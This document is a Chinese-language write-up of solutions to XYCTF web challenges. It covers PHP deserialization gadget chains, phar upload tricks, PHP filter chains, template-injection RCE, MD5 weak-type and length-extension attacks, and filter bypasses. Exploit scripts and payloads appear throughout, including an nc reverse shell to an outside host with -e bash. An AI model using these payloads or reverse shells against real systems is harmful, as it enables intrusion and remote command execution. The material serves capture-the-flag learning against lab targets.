ezPOP 看看题,有哪里不太一样:
1 2 3 4 if (isset ($_GET ['xy' ])) { $a = unserialize ($_GET ['xy' ]); throw new Exception ("noooooob!!!" ); }
这里在 unserialize
之后直接 throw
了一个异常,反序列化出来的对象不会正常等到 __destruct
方法的执行,那就需要在反序列化的时候就做到:将对象创建,然后紧接着让它被销毁。
这里可以使用数组来实现。尝试构造一个 [0 => $obj, 0 => null]
的数组,在反序列化的时候,会先创建目标对象,然后因为又遇到了同样下标为 0 的元素,所以会将目标对象销毁。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $post_a = 'implode' ;$post_b = ['system' ];$payload = "cat /flag" ;$bbb = new BBB ();$bbb ->c = $payload ;$aaa = new AAA ();$aaa ->s = $bbb ;$aaa ->a = "233" ;$ccc = new CCC ();$ccc ->c = $aaa ;$ser = serialize ([$ccc , null ]);$ser = str_replace ('i:1;N;}' , 'i:0;N;}' , $ser );print (urlencode ($ser ));
牢牢记住,逝者为大 先介绍一个 PHP 的特性,反单引号中的内容是会被执行的,所以可以如下构造 cmd
部分:
1 2 3 4 \n // 首先换行把开头的注释绕过了 `$_GET[0]`; // 命令执行,因为长度限制所以只能拿 GET 参数 # // 将后面的注释掉 连起来就是: %0A%60%24%5FGET%5B0%5D%60%3B%23
然后就是它对于 GET 参数还有一众过滤,绕到最后我不太想绕了,发现用 nc
直接弹一个 Shell 可以直接过检测,就直接这样了:
1 2 $_GET [0 ] = 'nc [REDACTED] 23333 -e $\'\142\141\163\150\'' ;$cmd = urldecode ('%0A%60%24%5FGET%5B0%5D%60%3B%23' );
warm up 先是一系列 MD5 相关的弱类型绕过:
1 2 3 4 5 6 7 8 9 10 11 $val1 != $val2 && md5 ($val1 ) == md5 ($val2 );isset ($md5 ) && $md5 == md5 ($md5 );$XY != "XYCTF_550102591" && md5 ($XY ) == md5 ("XYCTF_550102591" );
第二部分是一个绕过然后用 preg_replace
来实现 RCE:
1 2 3 4 5 6 isset ($_POST ['a' ]) && !preg_match ('/[0-9]/' , $_POST ['a' ]) && intval ($_POST ['a' ]);preg_replace ($_GET ['a' ], $_GET ['b' ], $_GET ['c' ]);
ezMake & ez!Make & εZ?¿м@Kε¿? VolgaCTF 2024 中存在类似的题目,直接给你介绍个 Payload(是 εZ?¿м@Kε¿? 的预期解,但是 ezMake 也可以用):
这行命令会尝试把 Flag 作为文件名进行文件读取,但是由于没有该文件所以会报错,而错误内容中存在 Flag。
ez!Make 过滤了些特殊字符,但是可以直接用 nc
弹 Shell。
连连看到底是连连什么看 连连看当然是连的 PHP Filter 链啦,这篇文章 有介绍相关原理。Dockerfile 都给了,开下容器看下 passwd 内容,方便测试几轮 Base64 能消耗完字符:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
稍微尝试了一下 6 轮刚好。用现成的脚本 synacktiv/php_filter_chain_generator 改一个 PoC 出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 times = 6 raw_text = 'XYCTF' encoded_chain = raw_text.encode() for i in range (times): encoded_chain = base64.b64encode(encoded_chain).rstrip(b"=" ) encoded_chain = encoded_chain.decode() filters = "convert.iconv.UTF8.CSISO2022KR|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for c in encoded_chain[::-1 ]: filters += conversions[c] + "|" filters += "convert.base64-decode|" filters += "convert.base64-encode|" filters += "convert.iconv.UTF8.UTF7|" for i in range (times): filters += "convert.base64-decode|" filters = filters.rstrip("|" ) print (filters)
我是一个复读机 只能说英文是吧,我偏不。发现在开头带有两个汉字的情况下,后面的部分可以 RCE:
1 2 3 4 sentence=你好(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read() a=__globals__ b=os c=cat /flag
ezmd5 要求上传两个文件的 MD5 值相同,但是内容不同。直接用现成的工具 FastColl 构造就行了。
pharme Phar 反序列化,但是限制有点绕,一步步来:
1 'ch3nx1' === preg_replace ('/;+/' , 'ch3nx1' , preg_replace ('/[A-Za-z_\(\)]+/' , '' , $this ->cmd));
这基本要求了 RCE Payload 中不能有实质性的参数,所以是无参数的 RCE。然后是:
1 eval ($this ->cmd . 'isbigvegetablechicken!' );
后面这一坨东西靠 __halt_compiler();
来让解释器忽略它。尝试上传文件后发现后端会去匹配是否存在 __HALT_COMPILER()
,可以将 Phar 包压缩后再上传,这样就不会被检测到。Phar 包构建的 PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class evil { public $cmd ; public $a ; }$obj = new evil ();$payload = 'system(end(getallheaders()));' ;$obj ->cmd = $payload . '__halt_compiler();' ;@unlink ('gen.phar.gz' ); $phar = new Phar ("gen.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" );$phar ->setMetadata ($obj );$phar ->addFromString ("info.txt" , "233" );$phar ->stopBuffering ();$phar ->compress (Phar ::GZ );
剩下的就是上传,然后触发反序列化,不能以 phar://
开头那就找个别的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requeststarget = 'http://localhost:38145' print ("[+]" , "Uploading payload..." )response = requests.post(f"{target} /index.php" , files={ 'file' : ('phar.jpg' , open ('gen.phar.gz' , 'rb' ), 'image/jpeg' )}) assert "Saved to" in response.textcommand = 'cat /flag' file = '/tmp/628941e623f5a967093007bf39be805f.jpg' payload = f"php://filter/convert.base64-encode/resource=phar://{file} /info.txt" print ("[+]" , "Executing payload..." )response = requests.post( f"{target} /class.php?a=sd" , data={'file' : payload}, headers={ 'Content-Type' : 'application/x-www-form-urlencoded' , 'Content-Length' : '130' , 'Payload' : command }) print (response.text[3441 :])
ezSerialize 第一步很简单,相同指针。
1 2 3 4 5 6 7 8 class Flag { public $token ; public $password ; }$point = null ;$obj = new Flag ();$obj ->token = &$point ;$obj ->password = &$point ;print (serialize ($obj ));
第二步也还行。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 class A { public $mack ; }class B { public $luo ; }class C { public $wang1 ; }class D { public $lao ; public $chen ; }class E { public $name ; public $num ; }$c = new C ();$a = new A ();$a ->mack = $c ;$b = new B ();$b ->luo = $a ;$d = new D ();$d ->lao = $b ;$e = new E ();$e ->name = $d ;$e ->num = 1 ;print (serialize ($e ));
最后一步。
1 2 3 4 5 6 7 8 9 10 11 12 class XYCTFNO2 { public $crypto0 ; public $adwa ; }class XYCTFNO3 { public $KickyMu ; public $fpclose ; public $N1ght ; }$no2 = new XYCTFNO2 ();$no2 ->adwa = new XYCTFNO2 ();$no2 ->adwa->crypto0 = 'dev1l' ;$no2 ->adwa->T1ng = 'yuroandCMD258' ; $no3 = new XYCTFNO3 ();$no3 ->KickyMu = $no2 ;$no3 ->N1ght = 'oSthing' ;print (serialize ($no3 ));
用 SplFileObject
来读取文件:
1 2 3 4 5 6 7 8 9 10 import requeststarget = 'http://localhost:9065/saber_master_saber_master.php?CTF=' payload = r'O:8:"XYCTFNO3":3:{s:7:"KickyMu";O:8:"XYCTFNO2":2:{s:7:"crypto0";N;s:4:"adwa";O:8:"XYCTFNO2":3:{s:7:"crypto0";s:5:"dev1l";s:4:"adwa";N;s:4:"T1ng";s:13:"yuroandCMD258";}}s:7:"fpclose";N;s:5:"N1ght";s:7:"oSthing";}' response = requests.post(target+payload, data={ 'X' : 'SplFileObject' , 'Y' :'php://filter/read=convert.base64-encode/resource=flag.php' }) print (response.text)
ezRCE 直接一个非预期:
1 $'\143\141\164' <$'\57\146\154\141\147'
[executable] < [file]
会读取文件内容并作为标准输入传入可执行文件,此外还有一个 [executable] <<< [string]
会将字符串作为标准输入传入可执行文件。而 cat
会直接将标准输入输出到标准输出,还有 sh
会执行标准输入的内容,就能分别做到文件读取以及 RCE。
ezClass ArrayIterator
在建立的时候可以传入一个数组,current
方法会返回其中一第个元素。
1 2 3 4 5 $a = 'ArrayIterator' ;$aa = ['system' ];$b = 'ArrayIterator' ;$bb = ['ls' ];$c = 'current' ;
give me flag MD5 补充攻击但是不给长度还和时间相关。MD5 补充攻击的原理以及相关脚本可以查看我的另一篇文章 ,这里直接贴一个用我写的脚本来实现的例子:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 def main (flag_length: int , time_ahead: int ) -> None : from time import time known_hash = '5d0fbc4fdc6ecf56066f8a984f6ff618' append_time = str (int (time()) + time_ahead) extend_str, final_hash = attack( flag_length, known_hash, append_time.encode()) request(extend_str[:-len (append_time)], final_hash) if __name__ == '__main__' : from tqdm import tqdm for flag_length in tqdm(range (64 , 32 , -1 ), desc="Flag length" ): for time_ahead in tqdm(range (8 , 2 , -1 ), leave=False , desc="Time ahead" ): main(flag_length, time_ahead)